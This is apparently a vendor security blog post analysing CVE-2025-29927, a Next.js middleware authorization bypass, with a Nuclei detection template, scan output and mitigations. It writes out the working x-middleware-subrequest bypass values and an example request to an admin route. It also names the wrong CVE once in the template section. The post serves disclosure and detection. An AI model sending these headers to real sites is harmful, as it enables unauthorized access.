-

9 min read

CVE-2025-29927: Next.js Middleware Authorization Bypass - Technical Analysis

CVE-2025-29927: Next.js Middleware Authorization Bypass - Technical Analysis

Next.js is an open-source web framework built by Vercel that powers React-based apps with features like server-side and static rendering. Recently, a critical vulnerability (CVE) was disclosed that lets attackers bypass middleware-based authorization checks. The issue was originally discovered and analyzed by Rachid Allam (zhero). In this blog, we’ll break down the vulnerability and walk through their research and will create a Nuclei template to help you detect it across your assets.

The vulnerability specifically affects the middleware functionality in Next.js, which is commonly used for implementing authorization, path rewriting, server-side redirects, and adding response headers such as Content Security Policy (CSP).

When exploited, an attacker can completely circumvent these middleware controls by adding a specially crafted x-middleware-subrequest header to their HTTP requests.

All versions of Next.js from 11.1.4 through 13.5.6, 14.x before 14.2.25, and 15.x before 15.2.3 are affected by this vulnerability. The impact is particularly significant for applications that rely on middleware for implementing access controls, as attackers can gain unauthorized access to protected resources without authentication.

Next.js deployments hosted on Vercel are automatically protected against this vulnerability, as mentioned in the official security advisory. However, self-hosted Next.js applications remain vulnerable unless patched or mitigated using the recommended workarounds.

Technical Details

The Next.js Middleware

Next.js middleware is a powerful feature that allows developers to run code before a request is completed. As the official Next.js documentation states: "Middleware allows you to run code before a request is completed. Then, based on the incoming request, you can modify the response by rewriting, redirecting, modifying the request or response headers, or responding directly."The middleware functionality in Next.js has numerous use cases, but the most critical ones include:

  1. Path rewriting - Dynamically changing the requested path before it reaches the application logic
  2. Server-side redirects - Redirecting users based on certain conditions
  3. Adding response headers - Including security headers like Content Security Policy (CSP)
  4. Authentication and Authorization - Ensuring user identity and checking session cookies before granting access to specific pages or API routes

A common implementation pattern is using middleware for authorization, which involves protecting certain paths based on specific conditions. For example, when a user attempts to access a protected route like /dashboard/admin, the middleware intercepts the request, checks if the user's session cookies are valid and if they have the necessary permissions. If the conditions are met, the middleware forwards the request; otherwise, it redirects the user to a login page.

The vulnerability mechanism

The vulnerability in CVE-2025-29927 stems from a design flaw in how Next.js processes the x-middleware-subrequest header. This header was originally intended for internal use within the Next.js framework to prevent infinite middleware execution loops.When a Next.js application uses middleware, the runMiddleware function is called to process incoming requests. As part of its functionality, this function checks for the presence of the x-middleware-subrequest header. If this header exists and contains a specific value, the middleware execution is skipped entirely, and the request is forwarded directly to its original destination via NextResponse.next().

The vulnerability lies in the fact that this header check can be exploited by external users. By adding the x-middleware-subrequest header with the correct value to a request, an attacker can completely bypass any middleware-based protection mechanisms.Here's how the vulnerability works at the code level:javascript

cli

1const subreq = params.request.headers["x-middleware-subrequest"];
2const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
3
4if (subrequests.includes(middlewareInfo.name)) {
5  result = {
6    response: NextResponse.next(),
7    waitUntil: Promise.resolve(),
8  }
9  continue;
10}

This code snippet shows that if the x-middleware-subrequest header value, when split by the colon character (:), includes the middlewareInfo.name value, the middleware is bypassed entirely.

Exploitation Across Different Next.js Versions

The exploitation method varies slightly depending on the Next.js version:

For versions prior to 12.2:

In these versions, middleware files had to be named _middleware.ts and placed inside the pages folder. The value of middlewareInfo.name was composed of the directory name and the file name:

cli

1x-middleware-subrequest: pages/_middleware

For nested routes, there could be multiple middleware files at different levels, resulting in multiple possible values for the header:

cli

1x-middleware-subrequest: pages/dashboard/_middleware

or

cli

1x-middleware-subrequest: pages/dashboard/panel/_middleware

For versions 12.2 and later:

Starting with version 12.2, Next.js changed the middleware conventions. The file should be named middleware.ts (without the underscore) and should no longer be located in the pages folder. For these versions, the payload is simpler:

cli

1x-middleware-subrequest: middleware

Additionally, Next.js allows for an alternative project structure with a /src directory. In such cases, the payload would be:

cli

1x-middleware-subrequest: src/middleware

For versions 13.2.0 and later:

For versions 13.2.0 and above, Next.js introduced a maximum recursion depth for middleware execution. This was implemented to prevent infinite loops but doesn't affect the vulnerability. The exploitation remains the same, as the header check occurs before any recursion depth checks.

cli

1x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Alternatively, for projects using a /src directory structure:

cli

1x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Template

The ProjectDiscovery research team wrote a template so that users can detect CVE-2023-46747 for the latest version in their attack surface. This was developed within 2 days of the CVE notification, and just within 24 hours after the public disclosure of the details of the vulnerability.

We’ve created a template for the most recent version, but users can modify it based on the version they’re using and scan their assets accordingly

Template Breakdown:

  • Initial Request to Base URL:
    • The template sends a GET request to the base URL ({{BaseURL}}).
  • Detection of Next.js Application:
    • It checks if the response body contains the string "_next/static", which is indicative of a Next.js application.
  • Extraction of Endpoint URLs:
    • Using a regular expression, the template extracts URLs from the response that match the pattern href=['"](\/[^.\"']+)['"]. These extracted endpoints are stored for further testing.
  • Iterative Testing of Extracted Endpoints:
    • For each extracted endpoint, the template performs the following checks:​
      • Middleware Detection:
        • Sends a GET request to the endpoint and checks if the response headers contain any of the following (case-insensitive): x-middleware-rewritex-middleware-next, or x-middleware-redirect. The presence of these headers suggests that the endpoint is protected by middleware. Additionally, it verifies that the status code is not 200.
      • Authorization Bypass Attempt:
  • Sends another GET request to the same endpoint, this time including the header x-middleware-subrequest with the value middleware:middleware:middleware:middleware:middleware and x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
  • Checks if the response status code is 200, which would indicate that the middleware authorization has been bypassed, confirming the presence of the vulnerability.

Nuclei Template to detect CVE-2025-29927 - CVE Scan URL

yaml

1id: CVE-2025-29927
2
3info:
4  name: Next.js Middleware Bypass
5  author: pdresearch,pdteam
6  severity: critical
7  description: |
8    Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.
9    The vulnerability allows attackers to bypass middleware security controls by sending a specially crafted
10    'x-middleware-subrequest' header, which can lead to authorization bypass and other security control circumvention.
11  reference:
12    - https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
13    - https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
14  remediation: |
15    Upgrade to Next.js 14.2.25 or 15.2.3 or later.
16    If upgrading is not possible, block the x-middleware-subrequest header at the WAF or server level.
17  classification:
18    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
19    cvss-score: 9.1
20    cwe-id: CWE-287
21  metadata:
22    max-request: 1
23    shodan-query: x-middleware-rewrite
24    fofa-query: x-middleware-rewrite
25    product: next.js
26    vendor: zeit
27  tags: cve,cve2025,nextjs,middleware,auth-bypass
28
29flow: |
30  http(1)
31  for(let endpoint_urls of iterate(template.endpoints)){
32    set("endpoints", endpoint_urls)
33    http(2) && http(3)
34  }
35
36http:
37  - method: GET
38    path:
39      - "{{BaseURL}}"
40
41    matchers:
42      - type: word
43        part: body
44        words:
45          - "_next/static"
46        internal: true
47
48      - type: word
49        part: header
50        words:
51          - "Next.js"
52        internal: true
53
54    extractors:
55      - type: regex
56        name: endpoints
57        part: body
58        group: 1
59        regex:
60          - "href=['\"](\\/[^\\.\"']+)['\"]"
61        internal: true
62
63  - method: GET
64    path:
65      - "{{BaseURL}}{{endpoints}}"
66
67    matchers:
68      - type: dsl
69        dsl:
70          - contains_any(to_lower(header), 'x-middleware-rewrite', 'x-middleware-next', 'x-middleware-redirect') && status_code != 200
71          - contains_any(to_lower(location), 'unauthorized') && status_code != 200
72        internal: true
73
74  - method: GET
75    path:
76      - "{{BaseURL}}{{endpoints}}"
77    headers:
78      X-Middleware-Subrequest: "{{nextjs_bypass}}"
79
80    payloads:
81      nextjs_bypass:
82        - "middleware:middleware:middleware:middleware:middleware"
83        - "src/middleware:src/middleware:src/middleware:src/middleware:src/middleware"
84
85    matchers:
86      - type: dsl
87        dsl:
88          - status_code == 200
89# digest: 490a0046304402201bcdebb7583c030e5a987d89883385579a930d1a071ba1e5e50cca1acfbada84022034ba91b066b49f57d0f0f3b8eec2063b1730802d6653f45ea82e43a540922529:922c64590222798bb761d5b6d8e72950

cli

1$ nuclei -u https://REDACTED -t http/cves/2025/CVE-2025-29927.yaml -vv
2
3                     __     _
4   ____  __  _______/ /__  (_)
5  / __ \/ / / / ___/ / _ \/ /
6 / / / / /_/ / /__/ /  __/ /
7/_/ /_/\__,_/\___/_/\___/_/   v3.3.10
8
9		projectdiscovery.io
10
11[INF] Current nuclei version: v3.3.10 (latest)
12[INF] Current nuclei-templates version: v10.1.5 (latest)
13[WRN] Scan results upload to cloud is disabled.
14[INF] New templates added in latest release: 281
15[INF] Templates loaded for current scan: 1
16[WRN] Loading 1 unsigned templates for scan. Use with caution.
17[INF] Targets loaded for current scan: 1
18[CVE-2025-29927] Next.js Middleware Bypass (@pdresearch,@pdteam) [critical]
19
20[CVE-2025-29927] [http] [critical] https://REDACTED/explore?destination=west-cairo [nextjs_bypass="middleware:middleware:middleware:middleware:middleware"]
21[CVE-2025-29927] [http] [critical] https://REDACTED/explore?destination=ain-sokhna [nextjs_bypass="middleware:middleware:middleware:middleware:middleware"]
22[CVE-2025-29927] [http] [critical] https://REDACTED/explore?destination=north-coast [nextjs_bypass="middleware:middleware:middleware:middleware:middleware"]
23[CVE-2025-29927] [http] [critical] https://REDACTED/explore [nextjs_bypass="middleware:middleware:middleware:middleware:middleware"]
24[CVE-2025-29927] [http] [critical] https://REDACTED/explore?destination=east-cairo [nextjs_bypass="middleware:middleware:middleware:middleware:middleware"]



To demonstrate the vulnerability, consider a Next.js application with middleware that protects a route /dashboard/admin by redirecting unauthorized users to /login. An attacker can bypass this protection by sending a request with the appropriate header:

cli

1GET /dashboard/admin HTTP/1.1
2Host: example.com
3X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware

With this header, the request completely bypasses the middleware's authorization checks and is forwarded directly to the /dashboard/admin route, granting the attacker unauthorized access to protected resources.

Adem Kouki from the community also contributed a version-based headless template for those who want to check if a vulnerable version is in use. However, finding a vulnerable version doesn’t necessarily mean the host is actually exploitable.

Nuclei Templates Lab - CVE-2025-29927

​We have recently launched our Nuclei Templates Lab, a dedicated environment designed for hands-on practice with the latest CVEs. We've included a lab specifically for CVE-2025-29927, allowing you to explore and understand this vulnerability in a controlled setting.​ You can access the lab for this CVE here

Impact Scenarios

The vulnerability can be exploited in several ways:

  1. Authorization Bypass: Attackers can access protected routes without proper authentication or authorization.
  2. Content Security Policy (CSP) Bypass: If CSP headers are added via middleware, attackers can bypass these security controls, potentially enabling cross-site scripting (XSS) attacks.
  3. Denial of Service via Cache-Poisoning: In certain configurations, attackers could poison caches with unauthorized content by bypassing middleware that sets cache control headers.

The simplicity of exploitation and the widespread use of Next.js for building modern web applications make this vulnerability particularly concerning. No special tools or complex techniques are required - just adding a single HTTP header with the correct value is sufficient to bypass security controls.

Remediation Strategies

Official Patches

Vercel, the company behind Next.js, has released patches for the vulnerability:

  • For Next.js 15.x, the issue is fixed in version 15.2.3
  • For Next.js 14.x, the issue is fixed in version 14.2.25
  • For Next.js versions 11.1.4 through 13.5.6, users are advised to implement the workaround described below

Workaround for Unpatched Versions

If updating to a patched version is not immediately feasible, the recommended workaround is to prevent external user requests containing the x-middleware-subrequest header from reaching your Next.js application.This can be implemented at various levels:

  1. Load Balancer Rules: If your application sits behind a load balancer like AWS ELB or Cloudflare, configure rules to strip this header from incoming requests.

Custom Middleware: As a last resort, you could implement a simple Express middleware (if using a custom server) that runs before Next.js to strip the header:javascript

cli

1app.use((req, res, next) => {
2  delete req.headers['x-middleware-subrequest'];
3  next();
4});

Web Server Configuration: If you're using Nginx, Apache, or another web server in front of your Next.js application, configure it to strip or block requests with the x-middleware-subrequest header.For Nginx, you could add a configuration like:

cli

1# Strip x-middleware-subrequest header
2proxy_set_header x-middleware-subrequest "";

For Apache, you could use mod_headers:

cli

1RequestHeader unset x-middleware-subrequest

Timeline:

  • March 21, 2025: Initial advisory and limited details for CVE-2025-29927 were published.
  • March 23, 2025: Proof of Concept (PoC) was released.
  • March 23, 2025: The Nuclei template was published by the ProjectDiscovery Research Team.

Conclusion

The discovery of CVE-2025-29927 serves as a critical reminder of how seemingly minor implementation details in web frameworks can lead to significant security vulnerabilities. It affects multiple versions across 11.x to 15.x, with serious implications for authorization. While Vercel-hosted deployments are automatically protected, self-hosted apps must patch or implement mitigation strategies.

The vulnerability’s ease of exploitation and impact make it a high-priority issue for Next.js users. Fortunately, official patches are available, and detection templates like the one from ProjectDiscovery can help organizations quickly identify affected systems.

To help security teams identify and mitigate this issue in their NextJS deployment, we have created a Nuclei template for detection automation. This template is also integrated into the ProjectDiscovery Cloud platform, enabling our customers to proactively scan for this vulnerability as part of their continuous security assessments.

References